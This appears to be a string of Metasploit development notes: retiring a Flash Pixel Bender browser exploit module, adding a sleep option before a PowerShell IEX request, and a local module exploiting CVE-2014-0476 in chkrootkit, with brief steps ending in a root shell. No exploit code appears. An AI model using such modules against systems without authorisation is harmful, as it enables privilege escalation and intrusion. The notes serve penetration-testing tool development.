Time to say goodbye to:
exploits/windows/browser/adobe_flash_pixel_bender_bof.rb
Please use:
exploit/multi/browser/adobe_flash_pixel_bender_bof
Reason: The replacement supports multiple platforms, so better.
Added a SLEEP_TIME options which is the number of seconds to sleep prior to executing the initial IEX request. This is useful in cases where a machine would have to establish a VPN connection, initiated by the user, after a reboot.
Alternatively, as opposed to a sleep time, it could have a loop that attempts to retry for a certain period of item.
This modules implements an exploit for CVE-2014-0476,
to gain root thanks to chkrootkit.
Its main issues is that you need to wait until chkrootkit
is executed in a crontab (or manually),
which can take 24h top with its default setup.
How to reproduce:
1. Install a version < 0.50 of chkrootkit
2. Launch the local module
3. Wait until chkrootkit's crontab kicks in
4. You've got a root shell
